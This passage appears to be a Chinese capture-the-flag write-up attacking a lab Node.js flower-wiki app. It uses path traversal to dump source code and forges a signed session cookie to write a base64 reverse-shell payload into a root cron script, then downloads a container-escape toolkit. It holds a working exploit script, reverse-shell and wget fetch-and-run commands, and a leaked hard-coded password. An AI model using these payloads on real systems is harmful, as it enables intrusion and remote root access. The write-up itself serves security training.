        .container { width: 100%; max-width: 800px; background: white; margin:
2rem; border-radius: 12px; box-shadow: 0 10px 25px rgba(0,0,0,0.05); overflow:
hidden; display: flex; flex-direction: column; }
        .header { background: #2ecc71; color: white; padding: 20px; text-align:
center; }
        .header h1 { margin: 0; font-size: 1.5rem; display: flex; align-items:
center; justify-content: center; gap: 10px; }
        .nav { background: #eafaf1; padding: 15px; display: flex; gap: 10px;
flex-wrap: wrap; border-bottom: 1px solid #dcdcdc; }
        .nav a { text-decoration: none; color: #27ae60; padding: 8px 15px;
background: white; border-radius: 20px; font-size: 0.9rem; border: 1px solid
#ccebd6; transition: all 0.2s; }
        .nav a:hover, .nav a.active { background: #27ae60; color: white; border-
color: #27ae60; }
```

```
        .main { padding: 30px; flex-grow: 1; display: flex; flex-direction:
column; }
        .label { font-weight: bold; color: #999; font-size: 0.8rem; margin-
bottom: 10px; text-transform: uppercase; letter-spacing: 1px; }
        /* 阅读器样式 */
        .viewer {
          background: #2d3436;
          color: #dfe6e9;
          border-radius: 8px;
          padding: 20px;
          font-family: 'Consolas', 'Monaco', monospace;
          white-space: pre-wrap; /* 保持换行 */
          line-height: 1.6;
          overflow-x: auto;
          flex-grow: 1;
          border: 1px solid #ccc;
          box-shadow: inset 0 2px 10px rgba(0,0,0,0.2);
        }
        .error-msg { color: #ff7675; }
      </style>
    </head>
    <body>
      <div class="container">
        <div class="header">
          <h1>🌿 花卉养护知识库 <small style="font-size:0.6em; opacity:0.8;">
</small></h1>
        </div>
        <div class="nav">
          <a href="/?file=rose.txt" class="">📄 rose.txt</a><a href="/?
file=lily.txt" class="">📄 lily.txt</a><a href="/?file=sunflower.txt" class="">
📄 sunflower.txt</a><a href="/?file=tulip.txt" class="">📄 tulip.txt</a>
        </div>
        <div class="main">
          <div class="label">文档内容预览: ../../../../proc/self/cmdline</div>
          <div class="viewer ">node /app/wiki_server.js </div>
        </div>
      </div>
    </body>
    </html>
```

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# curl -s "http://192.168.56.110:8080/?file=../../../../../app/wiki_server.js"

    <!DOCTYPE html>
    <html>
    <head>
      <title>🌿 花卉知识库 Wiki</title>
      <meta charset="utf-8">
      <style>
        body { font-family: 'Segoe UI', sans-serif; padding: 0; margin: 0;
background: #f4f7f6; color: #333; display: flex; justify-content: center; min-
height: 100vh; }
```

```
        .container { width: 100%; max-width: 800px; background: white; margin:
2rem; border-radius: 12px; box-shadow: 0 10px 25px rgba(0,0,0,0.05); overflow:
hidden; display: flex; flex-direction: column; }
        .header { background: #2ecc71; color: white; padding: 20px; text-align:
center; }
        .header h1 { margin: 0; font-size: 1.5rem; display: flex; align-items:
center; justify-content: center; gap: 10px; }
        .nav { background: #eafaf1; padding: 15px; display: flex; gap: 10px;
flex-wrap: wrap; border-bottom: 1px solid #dcdcdc; }
        .nav a { text-decoration: none; color: #27ae60; padding: 8px 15px;
background: white; border-radius: 20px; font-size: 0.9rem; border: 1px solid
#ccebd6; transition: all 0.2s; }
        .nav a:hover, .nav a.active { background: #27ae60; color: white; border-
color: #27ae60; }
        .main { padding: 30px; flex-grow: 1; display: flex; flex-direction:
column; }
        .label { font-weight: bold; color: #999; font-size: 0.8rem; margin-
bottom: 10px; text-transform: uppercase; letter-spacing: 1px; }
        /* 阅读器样式 */
        .viewer {
          background: #2d3436;
          color: #dfe6e9;
          border-radius: 8px;
          padding: 20px;
          font-family: 'Consolas', 'Monaco', monospace;
          white-space: pre-wrap; /* 保持换行 */
          line-height: 1.6;
          overflow-x: auto;
          flex-grow: 1;
          border: 1px solid #ccc;
          box-shadow: inset 0 2px 10px rgba(0,0,0,0.2);
        }
        .error-msg { color: #ff7675; }
      </style>
    </head>
    <body>
      <div class="container">
        <div class="header">
          <h1>🌿 花卉养护知识库 <small style="font-size:0.6em; opacity:0.8;">
</small></h1>
        </div>
        <div class="nav">
          <a href="/?file=rose.txt" class="">📄 rose.txt</a><a href="/?
file=lily.txt" class="">📄 lily.txt</a><a href="/?file=sunflower.txt" class="">
📄 sunflower.txt</a><a href="/?file=tulip.txt" class="">📄 tulip.txt</a>
        </div>
        <div class="main">
          <div class="label">文档内容预览: ../../../../app/wiki_server.js</div>
          <div class="viewer ">import http from "http";
import fs from "fs";
import path from "path";
import { fileURLToPath } from "url";

const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);
```

```
const DOCS_DIR = path.join(__dirname, "docs");

if (!fs.existsSync(DOCS_DIR)) {
  fs.mkdirSync(DOCS_DIR, { recursive: true });
}

// wiki for /app/server.js
const flowerData = {
  "rose.txt": `
[名称]: 玫瑰 (Rose)
[花语]: 热情、真爱、勇敢
[养护指南]:
1. 光照：玫瑰喜阳光充足，每天至少需要6-8小时直射光。
2. 浇水：见干见湿，忌积水，否则易烂根。
3. 施肥：生长期每半月施一次薄肥。
`,
  "lily.txt": `
[名称]: 百合 (Lily)
[花语]: 纯洁、庄严、心心相印
[养护指南]:
1. 环境：喜欢凉爽湿润的半阴环境，避免烈日暴晒。
2. 温度：最适生长温度为16-24℃。
3. 土壤：喜肥沃、排水良好的微酸性土壤。
`,
  "sunflower.txt": `
[名称]: 向日葵 (Sunflower)
[花语]: 沉默的爱、忠诚、光辉
[养护指南]:
1. 特性：极度喜光，植物具有向光性。
2. 水分：生长迅速，需水量大，夏季需每天浇水。
3. 价值：不仅观赏，其种子（瓜子）亦可食用。
`,
  "tulip.txt": `
[名称]: 郁金香 (Tulip)
[花语]: 爱的表白、荣誉、祝福永恒
[养护指南]:
1. 休眠：球根植物，夏季高温时会休眠。
2. 种植：通常在秋季种植，春季开花。
3. 注意：耐寒性强，但不耐热。
`
};

// 初始化文件
Object.entries(flowerData).forEach(([filename, content]) =&gt; {
  const filePath = path.join(DOCS_DIR, filename);
  if (!fs.existsSync(filePath)) {
    fs.writeFileSync(filePath, content.trim());
  }
});

/**
 * 渲染主页面 HTML
 * @param {string} content -要在viewer中显示的文本内容
 * @param {string} currentFile - 当前选中的文件名
 * @param {boolean} isError - 内容是否为错误信息
 */
```

```
function renderPage(content, currentFile, isError = false) {
  const navLinks = Object.keys(flowerData).map(name =&gt; {
    const activeClass = name === currentFile ? 'active' : '';
    return `&lt;a href="/?file=${name}" class="${activeClass}"&gt;
${name}&lt;/a&gt;`;
  }).join("");

  const safeContent = content
    .replace(/&amp;/g, "&amp;amp;")
    .replace(/&lt;/g, "&amp;lt;")
    .replace(/&gt;/g, "&amp;gt;");

  return `
    &lt;!DOCTYPE html&gt;
    &lt;html&gt;
    &lt;head&gt;
      &lt;title&gt;🌿 花卉知识库 Wiki&lt;/title&gt;
      &lt;meta charset="utf-8"&gt;
      &lt;style&gt;
        body { font-family: 'Segoe UI', sans-serif; padding: 0; margin: 0;
background: #f4f7f6; color: #333; display: flex; justify-content: center; min-
height: 100vh; }
        .container { width: 100%; max-width: 800px; background: white; margin:
2rem; border-radius: 12px; box-shadow: 0 10px 25px rgba(0,0,0,0.05); overflow:
hidden; display: flex; flex-direction: column; }
        .header { background: #2ecc71; color: white; padding: 20px; text-align:
center; }
        .header h1 { margin: 0; font-size: 1.5rem; display: flex; align-items:
center; justify-content: center; gap: 10px; }
        .nav { background: #eafaf1; padding: 15px; display: flex; gap: 10px;
flex-wrap: wrap; border-bottom: 1px solid #dcdcdc; }
        .nav a { text-decoration: none; color: #27ae60; padding: 8px 15px;
background: white; border-radius: 20px; font-size: 0.9rem; border: 1px solid
#ccebd6; transition: all 0.2s; }
        .nav a:hover, .nav a.active { background: #27ae60; color: white; border-
color: #27ae60; }
        .main { padding: 30px; flex-grow: 1; display: flex; flex-direction:
column; }
        .label { font-weight: bold; color: #999; font-size: 0.8rem; margin-
bottom: 10px; text-transform: uppercase; letter-spacing: 1px; }
        /* 阅读器样式 */
        .viewer {
          background: #2d3436;
          color: #dfe6e9;
          border-radius: 8px;
          padding: 20px;
          font-family: 'Consolas', 'Monaco', monospace;
          white-space: pre-wrap; /* 保持换行 */
          line-height: 1.6;
          overflow-x: auto;
          flex-grow: 1;
          border: 1px solid #ccc;
          box-shadow: inset 0 2px 10px rgba(0,0,0,0.2);
        }
        .error-msg { color: #ff7675; }
      &lt;/style&gt;
```

```
    &lt;/head&gt;
    &lt;body&gt;
      &lt;div class="container"&gt;
        &lt;div class="header"&gt;
          &lt;h1&gt;🌿 花卉养护知识库 &lt;small style="font-size:0.6em;
opacity:0.8;"&gt;&lt;/small&gt;&lt;/h1&gt;
        &lt;/div&gt;
        &lt;div class="nav"&gt;
          ${navLinks}
        &lt;/div&gt;
        &lt;div class="main"&gt;
          &lt;div class="label"&gt;文档内容预览: ${currentFile ? currentFile :
''}&lt;/div&gt;
          &lt;div class="viewer ${isError ? 'error-msg' :
''}"&gt;${safeContent}&lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/body&gt;
    &lt;/html&gt;
  `;
}

const server = http.createServer((req, res) =&gt; {
  const url = new URL(req.url, `http://${req.headers.host}`);

  res.setHeader("Content-Type", "text/html; charset=utf-8");

  if (req.method !== "GET") {
    res.writeHead(405);
    return res.end("Method Not Allowed");
  }

  let filename = url.searchParams.get("file");

  if (!filename) {
    const welcomeText = `
欢迎使用知识库系统。

请点击上方导航栏选择一种花卉查看详情。
或者使用 API 参数获取特定文档。

System Status: Online
`;
    res.writeHead(200);
    return res.end(renderPage(welcomeText, ""));
  }

  // 简单过滤
  filename = filename.replace('../', '');

  const filePath = path.join(DOCS_DIR, filename);

  fs.readFile(filePath, "utf8", (err, data) =&gt; {
    if (err) {
      res.writeHead(200);
      res.end(renderPage(`nothing here`, filename, true));
```

```
    } else {
      res.writeHead(200);
      res.end(renderPage(data, filename));
    }
  });

});

const PORT = 8080;
server.listen(PORT, () =&gt; {
  console.log(`📚 Wiki Server running on http://localhost:${PORT}`);
});
</div>
        </div>
      </div>
    </body>
    </html>
```

发现为/app/wiki_server.js，猜测是否存在server.js

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# curl -s "http://192.168.56.110:8080/?file=../../../../../app/server.js"

    <!DOCTYPE html>
    <html>
    <head>
      <title>🌿 花卉知识库 Wiki</title>
      <meta charset="utf-8">
      <style>
        body { font-family: 'Segoe UI', sans-serif; padding: 0; margin: 0;
background: #f4f7f6; color: #333; display: flex; justify-content: center; min-
height: 100vh; }
        .container { width: 100%; max-width: 800px; background: white; margin:
2rem; border-radius: 12px; box-shadow: 0 10px 25px rgba(0,0,0,0.05); overflow:
hidden; display: flex; flex-direction: column; }
        .header { background: #2ecc71; color: white; padding: 20px; text-align:
center; }
        .header h1 { margin: 0; font-size: 1.5rem; display: flex; align-items:
center; justify-content: center; gap: 10px; }
        .nav { background: #eafaf1; padding: 15px; display: flex; gap: 10px;
flex-wrap: wrap; border-bottom: 1px solid #dcdcdc; }
        .nav a { text-decoration: none; color: #27ae60; padding: 8px 15px;
background: white; border-radius: 20px; font-size: 0.9rem; border: 1px solid
#ccebd6; transition: all 0.2s; }
        .nav a:hover, .nav a.active { background: #27ae60; color: white; border-
color: #27ae60; }
        .main { padding: 30px; flex-grow: 1; display: flex; flex-direction:
column; }
        .label { font-weight: bold; color: #999; font-size: 0.8rem; margin-
bottom: 10px; text-transform: uppercase; letter-spacing: 1px; }
        /* 阅读器样式 */
        .viewer {
          background: #2d3436;
          color: #dfe6e9;
```

```
          border-radius: 8px;
          padding: 20px;
          font-family: 'Consolas', 'Monaco', monospace;
          white-space: pre-wrap; /* 保持换行 */
          line-height: 1.6;
          overflow-x: auto;
          flex-grow: 1;
          border: 1px solid #ccc;
          box-shadow: inset 0 2px 10px rgba(0,0,0,0.2);
        }
        .error-msg { color: #ff7675; }
      </style>
    </head>
    <body>
      <div class="container">
        <div class="header">
          <h1>🌿 花卉养护知识库 <small style="font-size:0.6em; opacity:0.8;">
</small></h1>
        </div>
        <div class="nav">
          <a href="/?file=rose.txt" class="">📄 rose.txt</a><a href="/?
file=lily.txt" class="">📄 lily.txt</a><a href="/?file=sunflower.txt" class="">
📄 sunflower.txt</a><a href="/?file=tulip.txt" class="">📄 tulip.txt</a>
        </div>
        <div class="main">
          <div class="label">文档内容预览: ../../../../app/server.js</div>
          <div class="viewer ">import http from "http";
import { createFileSessionStorage } from "@react-router/node";
import { parse } from "querystring";

// DONE: cron runs /opt/flower.sh every minute
// TODO: create /opt/flower.sh to do something interesting
const storage = createFileSessionStorage({
  dir: "./sessions",
  cookie: {
    name: "session",
    httpOnly: true,
    path: "/",
    sameSite: "lax",
    secrets: ["mazesec"],
  }
});

const users = [];
const ADMIN_USER = {
  username: "admin",
  password: "Maze-Sec2026",
  role: "admin"
};

const css = `
  body { font-family: 'Segoe UI', 'Microsoft YaHei', sans-serif; background:
#fff0f5; color: #4a4a4a; display: flex; justify-content: center; align-items:
center; min-height: 100vh; margin: 0; }
```

```
  .container { background: white; padding: 2rem; border-radius: 15px; box-shadow:
0 4px 15px rgba(0,0,0,0.1); width: 400px; text-align: center; border: 2px solid
#ffbed2; }
  h1 { color: #d63384; display: flex; align-items: center; justify-content:
center; gap: 10px; }
  input { display: block; width: 100%; padding: 10px; margin: 10px 0; border: 1px
solid #ddd; border-radius: 5px; box-sizing: border-box;}
  button { background: #ff69b4; color: white; border: none; padding: 10px 20px;
border-radius: 20px; cursor: pointer; font-size: 16px; transition: background
0.3s; width: 100%; }
  button:hover { background: #d63384; }
  .flower-deco { font-size: 40px; margin: 10px 0; }
  .links { margin-top: 20px; font-size: 14px; }
  a { color: #d63384; text-decoration: none; }
  .error { color: red; margin: 10px 0; font-size: 14px; }
  .dashboard-content { text-align: left; background: #fffafc; padding: 15px;
border-radius: 8px; border: 1px dashed #ffbed2; margin-top: 20px; }
`;

function renderPage(content, title = "Flower App") {
  return `
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;meta charset="utf-8"&gt;
  &lt;title&gt;${title}&lt;/title&gt;
  &lt;style&gt;${css}&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;div class="container"&gt;
    &lt;div class="flower-deco"&gt;🌸 🌺 🌻&lt;/div&gt;
    ${content}
  &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;`;
}

function getBody(req) {
  return new Promise((resolve) =&gt; {
    let body = "";
    req.on("data", chunk =&gt; { body += chunk.toString(); });
    req.on("end", () =&gt; { resolve(parse(body)); });
  });
}

async function redirect(res, location, cookie = null) {
  const headers = { "Location": location };
  if (cookie) headers["Set-Cookie"] = cookie;
  res.writeHead(302, headers);
  res.end();
}

http.createServer(async (req, res) =&gt; {
  const url = new URL(req.url, `http://${req.headers.host}`);
  const session = await storage.getSession(req.headers.cookie);
  const flashError = session.get("error");
```

```
  if (flashError) session.unset("error");

  const setHtmlHeader = () =&gt; res.setHeader("Content-Type", "text/html;
charset=utf-8");

  // --- 路由 ---
  // GET / - 首页
  if (req.method === "GET" &amp;&amp; url.pathname === "/") {
    const userId = session.get("userId");

    if (userId) {
      return redirect(res, "/dashboard");
    }

    const html = renderPage(`
      &lt;h1&gt;欢迎来到花园系统&lt;/h1&gt;
      &lt;p&gt;请登录以查看我们的专属花卉收藏。&lt;/p&gt;
      &lt;div class="links"&gt;
        &lt;a href="/login"&gt;登录&lt;/a&gt; | &lt;a href="/register"&gt;注册
&lt;/a&gt;
      &lt;/div&gt;
    `);

    setHtmlHeader();
    res.setHeader("Set-Cookie", await storage.commitSession(session));
    return res.end(html);
  }

  // GET /login
  if (req.method === "GET" &amp;&amp; url.pathname === "/login") {
    const html = renderPage(`
      &lt;h1&gt;🌺 登录&lt;/h1&gt;
      ${flashError ? `&lt;div class="error"&gt;${flashError}&lt;/div&gt;` : ''}
      &lt;form method="POST" action="/login"&gt;
        &lt;input type="text" name="username" placeholder="用户名" required /&gt;
        &lt;input type="password" name="password" placeholder="密码" required
/&gt;
        &lt;button type="submit"&gt;进入花园&lt;/button&gt;
      &lt;/form&gt;
      &lt;div class="links"&gt;&lt;a href="/register"&gt;没有账号？点击注册
&lt;/a&gt;&lt;/div&gt;
    `, "Login");

    setHtmlHeader();
    res.setHeader("Set-Cookie", await storage.commitSession(session));
    return res.end(html);
  }

  // POST /login
  if (req.method === "POST" &amp;&amp; url.pathname === "/login") {
    const body = await getBody(req);
    const { username, password } = body;

    let user = null;
    if (username === ADMIN_USER.username &amp;&amp; password ===
ADMIN_USER.password) {
```

```
      user = ADMIN_USER;
    } else {
      user = users.find(u =&gt; u.username === username &amp;&amp; u.password ===
password);
    }

    if (user) {
      session.set("userId", user.username);
      session.set("role", user.role || "user");
      return redirect(res, "/dashboard", await storage.commitSession(session));
    } else {
      session.flash("error", "凭证无效 🥀");
      return redirect(res, "/login", await storage.commitSession(session));
    }
  }

  // GET /register
  if (req.method === "GET" &amp;&amp; url.pathname === "/register") {
    const html = renderPage(`
      &lt;h1&gt;🌻 注册&lt;/h1&gt;
      ${flashError ? `&lt;div class="error"&gt;${flashError}&lt;/div&gt;` : ''}
      &lt;form method="POST" action="/register"&gt;
        &lt;input type="text" name="username" placeholder="设置用户名" required
/&gt;
        &lt;input type="password" name="password" placeholder="设置密码" required
/&gt;
        &lt;button type="submit"&gt;加入俱乐部&lt;/button&gt;
      &lt;/form&gt;
      &lt;div class="links"&gt;&lt;a href="/login"&gt;已有账号？去登录
&lt;/a&gt;&lt;/div&gt;
    `, "Register");

    setHtmlHeader();
    res.setHeader("Set-Cookie", await storage.commitSession(session));
    return res.end(html);
  }

  // POST /register
  if (req.method === "POST" &amp;&amp; url.pathname === "/register") {
    const body = await getBody(req);
    const { username, password } = body;

    if (users.find(u =&gt; u.username === username) || username === "admin") {
      session.flash("error", "用户名已被占用 🌵");
      return redirect(res, "/register", await storage.commitSession(session));
    }

    users.push({ username, password, role: "user" });
    session.flash("error", "注册成功！请登录 🌷");
    return redirect(res, "/login", await storage.commitSession(session));
  }

  // POST /logout
  if (req.method === "POST" &amp;&amp; url.pathname === "/logout") {
    return redirect(res, "/", await storage.destroySession(session));
  }
```

```
  // GET /dashboard (受保护页面)
  if (req.method === "GET" &amp;&amp; url.pathname === "/dashboard") {
    const userId = session.get("userId");
    const role = session.get("role");

    if (!userId) {
      return redirect(res, "/login");
    }

    let adminContent = "";
    if (role === "admin" || userId === "admin") {
      adminContent = `
        &lt;div style="background: #ffe6e6; border: 2px solid red; padding: 10px;
margin-top: 10px;"&gt;
          &lt;h3&gt;👑 管理员面板&lt;/h3&gt;
          &lt;p&gt;&lt;strong&gt;Secret Flag:&lt;/strong&gt;
FLAG{FLOWER_POWER_OVERFLOW}&lt;/p&gt;
          &lt;p&gt;你已获得花园的完全控制权。&lt;/p&gt;
        &lt;/div&gt;
      `;
    }

    const html = renderPage(`
      &lt;h1&gt;花园仪表盘 🌼&lt;/h1&gt;
      &lt;p&gt;你好, &lt;strong&gt;${userId}&lt;/strong&gt;!&lt;/p&gt;
      &lt;div class="dashboard-content"&gt;
        &lt;p&gt;当前身份: &lt;strong&gt;${role === 'admin' ? '首席园丁 🧑‍🌾' : '访客
🐝'}&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;享受这宁静的氛围吧...&lt;/p&gt;
        ${adminContent}
      &lt;/div&gt;
      &lt;form method="POST" action="/logout" style="margin-top: 20px;"&gt;
        &lt;button type="submit" style="background: #999;"&gt;退出登录
&lt;/button&gt;
      &lt;/form&gt;
    `, "Dashboard");

    setHtmlHeader();
    // 如果 Session 没有变化则不需要 commit，但为了刷新过期时间通常建议 commit
    return res.end(html);
  }

  // 404
  res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" });
  res.end("页面未找到");

}).listen(3000, () =&gt; {
  console.log("🌸 Flower Server running on http://localhost:3000");
});
</div>
        </div>
      </div>
    </body>
    </html>
```

> 太漂亮了！你通过 LFI 成功把主应用的底层逻辑连根拔起了。这段 `server.js` 源码就是你通往容器内部（Root 权限）的最终大门。
>
> 仔细阅读这段代码，你会发现开发者留下了两个极其致命的“线索”（或者说破绽），它们完美地拼凑出了一条 **任意文件写入 -> Cron 定时任务执行 -> 获得 Root Shell** 的攻击链。
>
> ## 🎯 破绽分析
>
> **破绽一：定时任务后门**
>
> JavaScript
>
> ```
> // DONE: cron runs /opt/flower.sh every minute
> // TODO: create /opt/flower.sh to do something interesting
> ```
>
> 这说明容器内部的 `cron` 服务每分钟都会以 **root** 权限去执行 `/opt/flower.sh` 这个文件。只要我们能把反弹 Shell 的命令写进这个文件，一分钟内就能拿到最高权限！
>
> **破绽二：硬编码的 Session 密钥**
>
> JavaScript
>
> ```
> const storage = createFileSessionStorage({
>  dir: "./sessions",
>  cookie: {
>  // ...
>  secrets: ["mazesec"],
>  }
> });
> ```
>
> `@react-router/node` 的 `createFileSessionStorage` 是将 Session 数据以 JSON 格式保存在本地文件中（默认保存在 `/app/sessions/` 目录下）。文件名就是用户的 Session ID。 为了防止用户伪造 Session ID，框架会用 `secrets` 对 Cookie 进行签名。**但是，现在密钥 `mazesec` 已经泄露了！**
>
> 这意味着你可以自己签发合法的 Cookie，并且在这个 Cookie 的 Session ID 里注入**目录穿越 Payload**（比如 `../../opt/flower.sh`）。当服务器调用 `commitSession` 保存数据时，就会被你欺骗，把 Session 内容写到 `/opt/flower.sh` 里

伪造恶意cookie

```
mkdir exploit_cookie && cd exploit_cookie
npm init -y
npm install @react-router/node
npm install react-router
```

本地监听4444端口

pwn.js:

```
import { createCookie } from "react-router";

// 目标配置
```

```
const TARGET = "http://192.168.56.110:3000";
const LHOST = "192.168.56.104"; // 你的 Kali IP
const LPORT = "4444";           // 你的监听端口

async function exploit() {
    console.log("[*] 开始构造会话投毒攻击链...");

    // 1. 生成 Base64 编码的反弹 Shell
    // 将特殊字符隐藏，防止在 JSON 序列化时被破坏
    const cmd = `bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1`;
    const b64Cmd = Buffer.from(cmd).toString('base64');

    // 利用 Bash 的命令替换 $() 强制优先执行
    const payload = `$(echo ${b64Cmd} | base64 -d | bash)`;
    console.log(`[+] 构造纯文本 Payload: ${payload}`);

    // URLSearchParams 会自动帮我们进行标准的单次 URL 编码，避免手动操作的失误
    const postData = new URLSearchParams();
    postData.append('username', payload);
    postData.append('password', '123456');

    // 2. 注册阶段：将 Payload 作为用户名写入数据库
    console.log("[*] 第一步: 正在注册恶意用户...");
    await fetch(`${TARGET}/register`, {
        method: 'POST',
        body: postData,
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
    });

    // 3. 锻造恶意 Cookie
    // 使用 ../../../ 确保绝对能穿越出 /app/sessions 并抵达系统的 /opt/
    const cookie = createCookie("session", { secrets: ["mazesec"] });
    const evilCookie = await cookie.serialize("../../../opt/flower.sh");
    console.log(`[+] 第二步: 锻造跨目录 Cookie 成功 -> ${evilCookie.substring(0,
30)}...`);

    // 4. 投毒阶段：触发任意文件写入
    console.log("[*] 第三步: 发送带有 Payload 和伪造 Cookie 的登录请求...");
    await fetch(`${TARGET}/login`, {
        method: 'POST',
        body: postData,
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Cookie': evilCookie
        },
        redirect: 'manual' // 阻止框架自动重定向
    });

    console.log("[√] 投毒完成! /opt/flower.sh 已被完美覆盖。");
    console.log(`[!] 请确保你的终端正在运行: nc -lvvp ${LPORT}`);
    console.log("[*] 现在，开始倒数最多 60 秒...");
}

exploit();
```

```
┌──(root㉿kaada)-[/home/kali]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.109] 58632
bash: cannot set terminal process group (922): Inappropriate ioctl for device
bash: no job control in this shell
root@a03b8c7326cf:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@a03b8c7326cf:~# env
env
SHELL=/bin/sh
PWD=/root
LOGNAME=root
HOME=/root
SHLVL=3
PATH=/usr/bin:/bin
_=/usr/bin/env
root@a03b8c7326cf:~# ls
ls
root@a03b8c7326cf:~# ls /home
ls /home
Sublarge
node
```

当前为容器环境，上传cdk枚举信息准备逃逸。

```
root@a03b8c7326cf:~# wget 192.168.56.104/cdk_linux_amd64
wget 192.168.56.104/cdk_linux_amd64
--2026-02-17 07:42:01--  http://192.168.56.104/cdk_linux_amd64
Connecting to 192.168.56.104:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10395800 (9.9M) [application/octet-stream]
Saving to: 'cdk_linux_amd64'
```

```
2026-02-17 07:42:06 (2.44 MB/s) - 'cdk_linux_amd64' saved [10395800/10395800]

root@a03b8c7326cf:~# ls
ls
cdk_linux_amd64
root@a03b8c7326cf:~# chmod +x cdk_linux_amd64
chmod +x cdk_linux_amd64
root@a03b8c7326cf:~# ./cdk_linux_amd64 eva
./cdk_linux_amd64 eva
CDK (Container DucK)
CDK Version(GitCommit): b4105424a2f329020c388e6e16a42e9bb31ef501
Zero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy &
neargle
Find tutorial, configuration and use-case in https://github.com/cdk-team/CDK/

[  Information Gathering - System Info  ]
2026/02/17 07:42:57 current dir: /root
```

```
2026/02/17 07:42:57 current user: root uid: 0 gid: 0 home: /root
2026/02/17 07:42:57 hostname: a03b8c7326cf
2026/02/17 07:42:57 debian debian 12.13 kernel: 4.19.0-27-amd64
2026/02/17 07:42:57 Setuid files found:
        /usr/sbin/exim4
        /usr/bin/chfn
        /usr/bin/chsh
        /usr/bin/gpasswd
        /usr/bin/mount
        /usr/bin/newgrp
        /usr/bin/passwd
        /usr/bin/su
        /usr/bin/umount
        /sbin/exim4
        /bin/chfn
        /bin/chsh
        /bin/gpasswd
        /bin/mount
        /bin/newgrp
        /bin/passwd
        /bin/su
        /bin/umount

[  Information Gathering - Services  ]
2026/02/17 07:42:57 service found in process:
        378     1       sshd
2026/02/17 07:42:57 service found in process:
        479     1       dockerd
2026/02/17 07:42:57 service found in process:
        751     479     docker-proxy
2026/02/17 07:42:57 service found in process:
        756     479     docker-proxy
2026/02/17 07:42:57 service found in process:
        771     479     docker-proxy
2026/02/17 07:42:57 service found in process:
        776     479     docker-proxy

[  Information Gathering - Commands and Capabilities  ]
2026/02/17 07:42:57 available commands:

curl,wget,find,ps,python3,apt,dpkg,ssh,git,svn,mount,gcc,g++,make,base64,perl
2026/02/17 07:42:57 Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb):
        CapInh: 0000000000000000
        CapPrm: 00000000a80c25fb
        CapEff: 00000000a80c25fb
        CapBnd: 00000000a80c25fb
        CapAmb: 0000000000000000
        Cap decode: 0x00000000a80c25fb =
CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,C
AP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_SYS_PTRACE,CAP_MKN
OD,CAP_AUDIT_WRITE,CAP_SETFCAP
        Added capability list: CAP_SYS_PTRACE
[*] Maybe you can exploit the Capabilities below:

[  Information Gathering - Mounts  ]
```

```
0:32 / / rw,relatime - overlay overlay
rw,lowerdir=/var/lib/docker/overlay2/l/C3QLVOXRMPCMJH43WQQYPAWU4Y:/var/lib/docker
/overlay2/l/CHWFER6QSEHPCVM2KL465VXL4E:/var/lib/docker/overlay2/l/7E33DU5V63KMUWX
7N7QKIPFFT4:/var/lib/docker/overlay2/l/HHGXLCPIHKLXXJY5DX5EJBZNKP:/var/lib/docker
/overlay2/l/W5HJ76TGSPQJRHJ5Q3SYUCMMYK:/var/lib/docker/overlay2/l/7DPI6ZHYVDNTS6L
PVRDXEN4CK3:/var/lib/docker/overlay2/l/6QEFTSCPS2AWH5G5DJVFTU3I3O:/var/lib/docker
/overlay2/l/RSSRXLEV5YP66ZXZ326APQIW2E:/var/lib/docker/overlay2/l/HHCKKY7JFFC4TH7
2YWSTYZ3TVW:/var/lib/docker/overlay2/l/ERUA4TNI3YPHN3X7SCOMYUKZGL:/var/lib/docker
/overlay2/l/TCIOA2MYS7WMY5NX6FHX4FOUF6:/var/lib/docker/overlay2/l/V3VIMKXNX6JHXGG
HUJUTP6EKU2:/var/lib/docker/overlay2/l/WHRNTIOJIXY7OI6B2GSB5JTSMH:/var/lib/docker
/overlay2/l/ELEEJZVLQDXOKHIDVAFPC2HCQX:/var/lib/docker/overlay2/l/NHX2VRDSN6XWWCL
BSGJA7RPNZB:/var/lib/docker/overlay2/l/WBBJ4WYL237NU3VANFKTTGZFAJ,upperdir=/var/l
ib/docker/overlay2/2fbf339929a2170fb335a60691e051ab460e7395e40c84347dc8065cdd669e
8e/diff,workdir=/var/lib/docker/overlay2/2fbf339929a2170fb335a60691e051ab460e7395
e40c84347dc8065cdd669e8e/work
0:4 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
0:34 / /dev rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
0:35 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts
rw,gid=5,mode=620,ptmxmode=666
0:36 / /sys ro,nosuid,nodev,noexec,relatime - sysfs sysfs ro
0:23 / /sys/fs/cgroup ro,nosuid,nodev,noexec,relatime - cgroup2 cgroup
rw,nsdelegate
0:33 / /dev/mqueue rw,nosuid,nodev,noexec,relatime - mqueue mqueue rw
0:37 / /dev/shm rw,nosuid,nodev,noexec,relatime - tmpfs shm rw,size=65536k
8:1 /opt/flower/vulnerable/sessions /app/sessions rw,relatime - ext4 /dev/sda1
rw,errors=remount-ro
8:1
/var/lib/docker/containers/a03b8c7326cf0cd56a14728283b674b95d4d1b40468449d86d6532
b193a6feeb/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/sda1
rw,errors=remount-ro
8:1
/var/lib/docker/containers/a03b8c7326cf0cd56a14728283b674b95d4d1b40468449d86d6532
